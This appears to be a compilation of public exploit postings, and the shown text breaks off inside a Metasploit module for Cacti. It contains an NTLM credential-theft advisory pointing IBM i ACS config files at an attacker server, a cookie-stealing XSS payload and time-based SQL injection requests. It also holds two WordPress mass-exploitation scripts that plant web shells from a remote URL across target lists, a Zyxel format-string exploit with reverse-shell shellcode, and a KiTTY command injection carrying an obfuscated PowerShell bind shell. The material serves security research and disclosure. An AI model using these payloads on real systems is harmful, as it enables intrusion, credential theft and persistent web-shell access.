<pre><code>[+] Credits: John Page (aka hyp3rlinx) <br />[+] Website: hyp3rlinx.altervista.org<br />[+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt<br />[+] twitter.com/hyp3rlinx<br />[+] ISR: ApparitionSec <br /><br />[Vendor]<br />www.ibm.com<br /><br />[Product]<br />IBM i Access Client Solutions<br /><br />[Versions]<br />All<br /><br />[Remediation/Fixes]<br />None<br /><br />[Vulnerability Type]<br />Remote Credential Theft<br /><br />[CVE Reference]<br />CVE-2024-22318<br /><br /><br />[Security Issue]<br />IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.<br />Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.<br />If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.<br />The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.<br /><br /><br />[References]<br />https://www.ibm.com/support/pages/node/7116091<br /><br /><br />[Exploit/POC]<br />The client access .HOD File vulnerable parameters:<br /><br />1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c<br /><br />[KeyRemapFile]<br />2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c<br /><br />Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv<br /><br />The client access legacy .WS File vulnerable parameters:<br />DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c<br /><br />Example, client access older .WS file<br /><br />[Profile]<br />ID=WS<br />Version=9<br />[Telnet5250]<br />AssociatedPrinterStartMinimized=N<br />AssociatedPrinterTimeout=0<br />SSLClientAuthentication=Y<br />HostName=PWN<br />AssociatedPrinterClose=N<br />Security=CA400<br />CertSelection=AUTOSELECT<br />AutoReconnect=Y<br />[KeepAlive]<br />KeepAliveTimeOut=0<br />[Keyboard]<br />IBMDefaultKeyboard=N<br />DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c<br />[Communication]<br />Link=telnet5250<br /><br /><br />[Network Access]<br />Remote<br /><br /><br />[Severity]<br />Medium<br /><br /><br />[Disclosure Timeline]<br />Vendor Notification: December 14, 2023<br />Vendor Addresses Issue: February 7, 2024<br />February 8, 2024 : Public Disclosure<br /><br /><br /><br />[+] Disclaimer<br />The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.<br />Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and<br />that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit<br />is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility<br />for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information<br />or exploits by the author or elsewhere. All content (c).<br /><br />hyp3rlinx<br /></code></pre>
<pre><code># Exploit Title: Advanced Page Visit Counter 1.0 - Admin+ Stored Cross-Site<br />Scripting (XSS) (Authenticated)<br /># Date: 11.10.2023<br /># Exploit Author: Furkan ÖZER<br /># Software Link: https://wordpress.org/plugins/advanced-page-visit-counter/<br /># Version: 8.0.5<br /># Tested on: Kali-Linux,Windows10,Windows 11<br /># CVE: N/A<br /><br /><br /># Description:<br />Advanced Page Visit Counter is a remarkable Google Analytics alternative<br />specifically designed for WordPress websites, and it has quickly become a<br />must-have plugin for website owners and administrators seeking powerful<br />tracking and analytical capabilities. With the recent addition of Enhanced<br />eCommerce Tracking for WooCommerce, this plugin has become even more<br />indispensable for online store owners.<br /><br />Homepage | Support | Premium Version<br /><br />If you’re in search of a GDPR-friendly website analytics plugin exclusively<br />designed for WordPress, look no further than Advanced Page Visit Counter.<br />This exceptional plugin offers a compelling alternative to Google Analytics<br />and is definitely worth a try for those seeking enhanced data privacy<br />compliance.<br /><br />This is a free plugin and doesn’t require you to create an account on<br />another site. All features outlined below are included in the free plugin.<br /><br />Description of the owner of the plugin Stored Cross-Site Scripting attack<br />against the administrators or the other authenticated users.<br /><br />The plugin does not sanitise and escape some of its settings, which could<br />allow high privilege users such as admin to perform Stored Cross-Site<br />Scripting attacks even when the unfiltered_html capability is disallowed<br />(for example in multisite setup)<br /><br />The details of the discovery are given below.<br /><br /># Steps To Reproduce:<br />1. Install and activate the Advanced Page Visit Counter plugin.<br />2. Visit the "Settings" interface available in settings page of the plugin<br />that is named "Widget Settings"<br />3. In the plugin's "Today's Count Label" setting field, enter the payload<br />Payload: " "type=image src=1 onerror=alert(document.cookie)> "<br />6. Click the "Save Changes" button.<br />7. The XSS will be triggered on the settings page when every visit of an<br />authenticated user.<br /><br /><br /># Video Link<br />https://youtu.be/zcfciGZLriM<br /><br /></code></pre>
<pre><code># Exploit Title: Online Nurse Hiring System 1.0 - 'bookid' Time-Based SQL Injection<br /># Date: 03/10/2023<br /># Exploit Author: Alperen Yozgat<br /># Vendor Homepage: https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql<br /># Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17826<br /># Version: 1.0<br /># Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30<br /><br />## Description ##<br /><br />On the book-nurse.php page, the bookid parameter is vulnerable to SQL Injection vulnerability.<br /><br />## Proof of Concept ##<br /><br /># After sending the payload, the response time will increase to at least 5 seconds.<br /># Payload: 1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY<br /><br />POST /onhs/book-nurse.php?bookid=1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 140<br />Cookie: PHPSESSID=0ab508c4aa5fdb6c55abb909e5cbce09<br /><br />contactname=test&contphonenum=1111111&contemail=test%40test.com&fromdate=2023-10-11&todate=2023-10-18&timeduration=1&patientdesc=3&submit=<br /> <br /></code></pre>
<pre><code># Exploit Title: Rail Pass Management System - 'searchdata' Time-Based SQL Injection<br /># Date: 02/10/2023<br /># Exploit Author: Alperen Yozgat<br /># Vendor Homepage: https://phpgurukul.com/rail-pass-management-system-using-php-and-mysql/<br /># Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17479<br /># Version: 1.0<br /># Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30<br /><br />## Description ##<br /><br />On the download-pass.php page, the searchdata parameter in the search function is vulnerable to SQL injection vulnerability.<br /><br />## Proof of Concept ##<br /><br /># After sending the payload, the response time will increase to at least 5 seconds.<br /># Payload: 1'or+sleep(5)--+-<br /><br />POST /rpms/download-pass.php HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 36<br />Cookie: PHPSESSID=6028f950766b973640e0ff64485f727b<br /><br /><br />searchdata=1'or+sleep(5)--+-&search=<br /><br /></code></pre>
<pre><code># Exploit Title: Wordpress Augmented-Reality - Remote Code Execution Unauthenticated<br /># Date: 2023-09-20<br /># Author: Milad Karimi (Ex3ptionaL)<br /># Category : webapps<br /># Tested on: windows 10 , firefox<br /><br />import requests as req<br />import json<br />import sys<br />import random<br />import uuid<br />import urllib.parse<br />import urllib3<br />from multiprocessing.dummy import Pool as ThreadPool<br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br />filename="{}.php".format(str(uuid.uuid4())[:8])<br />proxies = {}<br />#proxies = {<br /># 'http': 'http://127.0.0.1:8080',<br /># 'https': 'http://127.0.0.1:8080',<br />#}<br />phash = "l1_Lw"<br />r=req.Session()<br />user_agent={<br />"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"<br />}<br />r.headers.update(user_agent)<br />def is_json(myjson):<br /> try:<br /> json_object = json.loads(myjson)<br /> except ValueError as e:<br /> return False<br /> return True<br />def mkfile(target):<br /> data={"cmd" : "mkfile", "target":phash, "name":filename}<br /> resp=r.post(target, data=data)<br /> respon = resp.text<br /> if resp.status_code == 200 and is_json(respon):<br /> resp_json=respon.replace(r"\/", "").replace("\\", "")<br /> resp_json=json.loads(resp_json)<br /> return resp_json["added"][0]["hash"]<br /> else:<br /> return False<br />def put(target, hash):<br /> content=req.get("https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php", proxies=proxies, verify=False)<br /> content=content.text<br /> data={"cmd" : "put", "target":hash, "content": content}<br /> respon=r.post(target, data=data, proxies=proxies, verify=False)<br /> if respon.status_code == 200:<br /> return True<br />def exploit(target):<br /> try:<br /> vuln_path = "{}/wp-content/plugins/augmented-reality/vendor/elfinder/php/connector.minimal.php".format(target)<br /> respon=r.get(vuln_path, proxies=proxies, verify=False).status_code<br /> if respon != 200:<br /> print("[FAIL] {}".format(target))<br /> return<br /> hash=mkfile(vuln_path)<br /> if hash == False:<br /> print("[FAIL] {}".format(target))<br /> return<br /> if put(vuln_path, hash):<br /> shell_path = "{}/wp-content/plugins/augmented-reality/file_manager/{}".format(target,filename)<br /> status = r.get(shell_path, proxies=proxies, verify=False).status_code<br /> if status==200 :<br /> with open("result.txt", "a") as newline:<br /> newline.write("{}\n".format(shell_path))<br /> newline.close()<br /> print("[OK] {}".format(shell_path))<br /> return<br /> else:<br /> print("[FAIL] {}".format(target))<br /> return<br /> else:<br /> print("[FAIL] {}".format(target))<br /> return<br /> except req.exceptions.SSLError:<br /> print("[FAIL] {}".format(target))<br /> return<br /> except req.exceptions.ConnectionError:<br /> print("[FAIL] {}".format(target))<br /> return<br />def main():<br /> threads = input("[?] Threads > ")<br /> list_file = input("[?] List websites file > ")<br /> print("[!] all result saved in result.txt")<br /> with open(list_file, "r") as file:<br /> lines = [line.rstrip() for line in file]<br /> th = ThreadPool(int(threads))<br /> th.map(exploit, lines)<br />if __name__ == "__main__":<br /> main()<br /> <br /><br /><br /></code></pre>
<pre><code># Exploit Title: Wordpress Seotheme - Remote Code Execution Unauthenticated<br /># Date: 2023-09-20<br /># Author: Milad Karimi (Ex3ptionaL)<br /># Category : webapps<br /># Tested on: windows 10 , firefox<br /><br />import sys , requests, re<br />from multiprocessing.dummy import Pool<br />from colorama import Fore<br />from colorama import init<br />init(autoreset=True)<br /><br />fr = Fore.RED<br />fc = Fore.CYAN<br />fw = Fore.WHITE<br />fg = Fore.GREEN<br />fm = Fore.MAGENTA<br /><br />shell = """<?php echo "EX"; echo "<br>".php_uname()."<br>"; echo "<form method='post' enctype='multipart/form-data'> <input type='file' name='zb'><input type='submit' name='upload' value='upload'></form>"; if($_POST['upload']) { if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) { echo "eXploiting Done"; } else { echo "Failed to Upload."; } } ?>"""<br />requests.urllib3.disable_warnings()<br />headers = {'Connection': 'keep-alive',<br /> 'Cache-Control': 'max-age=0',<br /> 'Upgrade-Insecure-Requests': '1',<br /> 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',<br /> 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',<br /> 'referer': 'www.google.com'}<br />try:<br /> target = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]<br />except IndexError:<br /> path = str(sys.argv[0]).split('\\')<br /> exit('\n [!] Enter <' + path[len(path) - 1] + '> <sites.txt>')<br /><br />def URLdomain(site):<br /> if site.startswith("http://") :<br /> site = site.replace("http://","")<br /> elif site.startswith("https://") :<br /> site = site.replace("https://","")<br /> else :<br /> pass<br /> pattern = re.compile('(.*)/')<br /> while re.findall(pattern,site):<br /> sitez = re.findall(pattern,site)<br /> site = sitez[0]<br /> return site<br /><br /><br />def FourHundredThree(url):<br /> try:<br /> url = 'http://' + URLdomain(url)<br /> check = requests.get(url+'/wp-content/plugins/seoplugins/mar.php',headers=headers, allow_redirects=True,timeout=15)<br /> if '//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:<br /> print ' -| ' + url + ' --> {}[Succefully]'.format(fg)<br /> open('seoplugins-Shells.txt', 'a').write(url + '/wp-content/plugins/seoplugins/mar.php\n')<br /> else:<br /> url = 'https://' + URLdomain(url)<br /> check = requests.get(url+'/wp-content/plugins/seoplugins/mar.php',headers=headers, allow_redirects=True,verify=False ,timeout=15)<br /> if '//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:<br /> print ' -| ' + url + ' --> {}[Succefully]'.format(fg)<br /> open('seoplugins-Shells.txt', 'a').write(url + '/wp-content/plugins/seoplugins/mar.php\n')<br /> else:<br /> print ' -| ' + url + ' --> {}[Failed]'.format(fr)<br /> url = 'http://' + URLdomain(url)<br /> check = requests.get(url+'/wp-content/themes/seotheme/mar.php',headers=headers, allow_redirects=True,timeout=15)<br /> if '//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:<br /> print ' -| ' + url + ' --> {}[Succefully]'.format(fg)<br /> open('seotheme-Shells.txt', 'a').write(url + '/wp-content/themes/seotheme/mar.php\n')<br /> else:<br /> url = 'https://' + URLdomain(url)<br /> check = requests.get(url+'/wp-content/themes/seotheme/mar.php',headers=headers, allow_redirects=True,verify=False ,timeout=15)<br /> if '//0x5a455553.github.io/MARIJUANA/icon.png' in check.content:<br /> print ' -| ' + url + ' --> {}[Succefully]'.format(fg)<br /> open('seotheme-Shells.txt', 'a').write(url + '/wp-content/themes/seotheme/mar.php\n')<br /> else:<br /> print ' -| ' + url + ' --> {}[Failed]'.format(fr)<br /> except :<br /> print ' -| ' + url + ' --> {}[Failed]'.format(fr)<br /><br />mp = Pool(100)<br />mp.map(FourHundredThree, target)<br />mp.close()<br />mp.join()<br /><br />print '\n [!] {}Saved in Shells.txt'.format(fc)<br /> <br /><br /></code></pre>
<pre><code>#!/usr/bin/expect -f<br /><br />#<br /># raptor_zysh_fhtagn.exp - zysh format string PoC exploit<br /># Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info><br />#<br /># "We live on a placid island of ignorance in the midst of black seas of<br /># infinity, and it was not meant that we should voyage far."<br /># -- H. P. Lovecraft, The Call of Cthulhu<br />#<br /># "Multiple improper input validation flaws were identified in some CLI<br /># commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,<br /># USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware<br /># versions 4.32 through 5.21, VPN series firmware versions 4.30 through<br /># 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500<br /># firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware<br /># version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version<br /># 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)<br /># and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and<br /># earlier versions, that could allow a local authenticated attacker to<br /># cause a buffer overflow or a system crash via a crafted payload."<br /># -- CVE-2022-26531<br />#<br /># The zysh binary is a restricted shell that implements the command-line<br /># interface (CLI) on multiple Zyxel products. This proof-of-concept exploit<br /># demonstrates how to leverage the format string bugs I have identified in<br /># the "extension" argument of some zysh commands, to execute arbitrary code<br /># and escape the restricted shell environment.<br />#<br /># - This exploit targets the "ping" zysh command.<br /># - It overwrites the .got entry of fork() with the shellcode address.<br /># - The shellcode address is calculated based on a leaked stack address.<br /># - Hardcoded offsets and values might need some tweaking, see comments.<br /># - Automation/weaponization for other targets is left as an exercise.<br />#<br /># For additional details on my bug hunting journey and on the<br /># vulnerabilities themselves, you can refer to the official advisory:<br /># https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt<br />#<br /># Usage:<br /># raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password<br /># raptor_zysh_fhtagn.exp - zysh format string PoC exploit<br /># Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info><br /># <br /># Leaked stack address: 0x7fe97170<br /># Shellcode address: 0x7fe9de40<br /># Base string length: 46<br /># Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn<br /># <br /># *** enjoy your shell! ***<br /># <br /># sh-5.1$ uname -snrmp<br /># Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0<br /># sh-5.1$ id<br /># uid=10007(admin) gid=10000(operator) groups=10000(operator)<br />#<br /># Tested on:<br /># Zyxel USG20-VPN with Firmware 5.10 <br /># [other appliances/versions are also likely vulnerable]<br />#<br /><br /># change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8<br />encoding system iso8859-1<br /><br /># hostile format string to leak stack address via direct parameter access<br />set offset1 77<br />set leak [format "AAAA.0x%%%d\$x" $offset1]<br /><br /># offsets to reach addresses in retloc sled via direct parameter access<br />set offset2 1801<br />set offset3 [expr $offset2 + 1]<br /><br /># difference between leaked stack address and shellcode address<br />set diff 27856<br /><br /># retloc sled<br /># $ mips64-linux-readelf -a zysh | grep JUMP | grep fork<br /># 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0<br /># ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]<br />set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]<br /><br /># nop sled<br /># nop-equivalent instruction: xor $t0, $t0, $t0<br />set nops [string repeat "\x01\x8c\x60\x26" 64]<br /><br /># shellcode<br /># https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c<br />set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"<br /><br /># padding to align payload in memory (might need adjusting)<br />set padding "AAA"<br /><br /># print header<br />send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"<br />send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n"<br /><br /># check command line<br />if { [llength $argv] != 3} {<br /> send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"<br /> exit 1<br />}<br /><br /># get SSH connection parameters<br />set port "22"<br />set host [lindex $argv 0]<br />set user [lindex $argv 1]<br />set pass [lindex $argv 2]<br /><br /># inject payload via the TERM environment variable<br />set env(TERM) $retloc$nops$sc$padding<br /><br /># connect to target via SSH<br />log_user 0<br />spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user<br />expect {<br /> -nocase "password*" {<br /> send "$pass\r"<br /> }<br /> default {<br /> send_error "error: could not connect to ssh\n"<br /> exit 1<br /> }<br />}<br /><br /># leak stack address<br />expect {<br /> "Router? $" {<br /> send "ping 127.0.0.1 extension $leak\r"<br /> }<br /> default {<br /> send_error "error: could not access zysh prompt\n"<br /> exit 1<br /> }<br />}<br />expect {<br /> -re "ping: unknown host AAAA\.(0x.*)\r\n" {<br /> }<br /> default {<br /> send_error "error: could not leak stack address\n"<br /> exit 1<br /> }<br />}<br />set leaked $expect_out(1,string)<br />send_user "Leaked stack address:\t$leaked\n"<br /><br /># calculate shellcode address<br />set retval [expr $leaked + $diff]<br />set retval [format 0x%x $retval]<br />send_user "Shellcode address:\t$retval\n"<br /><br /># extract each byte of shellcode address<br />set b1 [expr ($retval & 0xff000000) >> 24]<br />set b2 [expr ($retval & 0x00ff0000) >> 16]<br />set b3 [expr ($retval & 0x0000ff00) >> 8]<br />set b4 [expr ($retval & 0x000000ff)]<br />set b1 [format 0x%x $b1]<br />set b2 [format 0x%x $b2]<br />set b3 [format 0x%x $b3]<br />set b4 [format 0x%x $b4]<br /><br /># calculate numeric arguments for the hostile format string<br />set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "]<br />send_user "Base string length:\t$base\n"<br />set n1 [expr ($b4 - $base) % 0x100]<br />set n2 [expr ($b2 - $b4) % 0x100]<br />set n3 [expr ($b1 - $b2) % 0x100]<br />set n4 [expr ($b3 - $b1) % 0x100]<br /><br /># check for dangerous numeric arguments below 10<br />if {$n1 < 10} { incr n1 0x100 }<br />if {$n2 < 10} { incr n2 0x100 }<br />if {$n3 < 10} { incr n3 0x100 }<br />if {$n4 < 10} { incr n4 0x100 }<br /><br /># craft the hostile format string<br />set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]<br />send_user "Hostile format string:\t$exploit\n\n"<br /><br /># uncomment to debug<br /># interact +<br /><br /># exploit target<br />set prompt "(#|\\\$) $"<br />expect {<br /> "Router? $" {<br /> send "ping 127.0.0.1 extension $exploit\r"<br /> }<br /> default {<br /> send_error "error: could not access zysh prompt\n"<br /> exit 1<br /> }<br />}<br />expect {<br /> "Router? $" {<br /> send_error "error: could not exploit target\n"<br /> exit 1<br /> }<br /> -re $prompt {<br /> send_user "*** enjoy your shell! ***\n"<br /> send "\r"<br /> interact<br /> }<br /> default {<br /> send_error "error: could not exploit target\n"<br /> exit 1<br /> }<br />}<br /><br /></code></pre>
<pre><code>#!/usr/bin/python<br /><br />#----------------------------------------------------------------------------------------#<br /># Exploit: KiTTY ≤ 0.76.1.13 Command Injection Vulnerability in KiTTY #<br /># Get Remote File Through SCP Input (CVE-2024-23749) #<br /># OS: Microsoft Windows 11/10/8/7/XP #<br /># Author: DEFCESCO (Austin A. DeFrancesco) #<br /># Software: #<br /># https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #<br />#----------------------------------------------------------------------------------------#<br /># More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY #<br />#----------------------------------------------------------------------------------------#<br /># msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler #<br /># [*] Payload Handler Started as Job 1 #<br /># msf6 payload(cmd/windows/powershell_bind_tcp) > #<br /># [*] Started bind TCP handler against 192.168.100.28:4444 #<br /># [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) #<br />#----------------------------------------------------------------------------------------#<br /><br />import os<br />import sys<br /><br />#-----------------------------------------------------------------#<br /># msf6 payload(cmd/windows/powershell_bind_tcp) > generate -f raw #<br />#-----------------------------------------------------------------#<br /><br />shellcode = b'powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create'<br />shellcode += b'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'<br />shellcode += b'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'<br />shellcode += b'se64String(((\'H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'<br />shellcode += b'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3\'+\'GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'<br />shellcode += b'kvUBgYPA3APsGG\'+\'wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'<br />shellcode += b'jBeXa\'+\'QgRGld\'+\'hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'<br />shellcode += b'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u\'+\'AFWMm85{2}gI/hVGUK'<br />shellcode += b'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy\'+\'k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'<br />shellcode += b'8kWhDlXHr\'+\'+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'<br />shellcode += b'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'<br />shellcode += b'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'<br />shellcode += b'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{\'+'<br />shellcode += b'\'1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw\'+'<br />shellcode += b'\'1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr\'+\'1Txf3SQJhG8E/BlNRyY'<br />shellcode += b'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax\'+\'T3Ztk3Tt{2}2'<br />shellcode += b'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'<br />shellcode += b'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'<br />shellcode += b'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd\'+\'IyoERfSimrYbXTGP{1}g1Jc'<br />shellcode += b'7\'+\'jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'<br />shellcode += b'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'<br />shellcode += b'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}\')-f'<br />shellcode += b'\'=\',\'9\',\'O\')))),[System.IO.Compression.CompressionMode]::Decompr'<br />shellcode += b'ess))).ReadToEnd()))\"'<br /><br />escape_sequence = b'\033]0;__rv:'<br />escape_sequence += b'" & '<br />escape_sequence += shellcode<br />escape_sequence += b' #\007' <br /><br />stdout = os.fdopen(sys.stdout.fileno(), 'wb') <br />stdout.write(escape_sequence)<br />stdout.flush()<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::SQLi<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> class CactiError < StandardError; end<br /> class CactiNotFoundError < CactiError; end<br /> class CactiVersionNotFoundError < CactiError; end<br /> class CactiNoAccessError < CactiError; end<br /> class CactiCsrfNotFoundError < CactiError; end<br /> class CactiLoginError < CactiError; end<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Cacti RCE via SQLi in pollers.php',<br /> 'Description' => %q{<br /> This exploit module leverages a SQLi (CVE-2023-49085) and a LFI<br /> (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to<br /> achieve RCE. Authentication is needed and the account must have access<br /> to the vulnerable PHP script (`pollers.php`). This is granted by<br /> setting the `Sites/Devices/Data` permission in the `General<br /> Administration` section.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Aleksey Solovev', # Initial research and discovery<br /> 'Christophe De La Fuente' # Metasploit module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi<br /> [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)<br /> [ 'CVE', '2023-49085'], # SQLi<br /> [ 'CVE', '2023-49084'] # LFI (RCE)<br /> ],<br /> 'Platform' => ['unix linux win'],<br /> 'Privileged' => false,<br /> 'Arch' => ARCH_CMD,<br /> 'Targets' => [<br /> [<br /> 'Linux Command',<br /> {<br /> 'Arch' => ARCH_CMD,<br /> 'Platform' => [ 'unix', 'linux' ]<br /> }<br /> ],<br /> [<br /> 'Windows Command',<br /> {<br /> 'Arch' => ARCH_CMD,<br /> 'Platform' => 'win'<br /> }<br /> ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'SqliDelay' => 3<br /> },<br /> 'DisclosureDate' => '2023-12-20',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('USERNAME', [ true, 'User to login with', 'admin']),<br /> OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),<br /> OptString.new('TARGETURI', [ true, 'The base URI of Cacti', 